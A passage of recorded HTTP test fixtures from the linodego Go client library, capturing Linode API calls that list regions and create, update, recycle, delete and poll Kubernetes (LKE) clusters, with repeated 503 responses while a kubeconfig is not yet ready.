Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-recycle","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76165, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-recycle", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "244" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76165/recycle method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76165 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_Update.yaml000066400000000000000000000275031455402072200315650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-update","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76164, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-update", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "243" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"k8s_version":"1.23","label":"go-lke-test-update-updated","tags":["test=true"],"control_plane":{"high_availability":true}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76164 method: PUT response: body: '{"id": 76164, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-update-updated", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": true}, "tags": ["test=true"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "252" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76164 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_WaitForReady.yaml000066400000000000000000000607021455402072200327010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":3,"type":"g6-standard-2","disks":null,"tags":null}],"label":"go-lke-test-wait","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76162, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-wait", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: 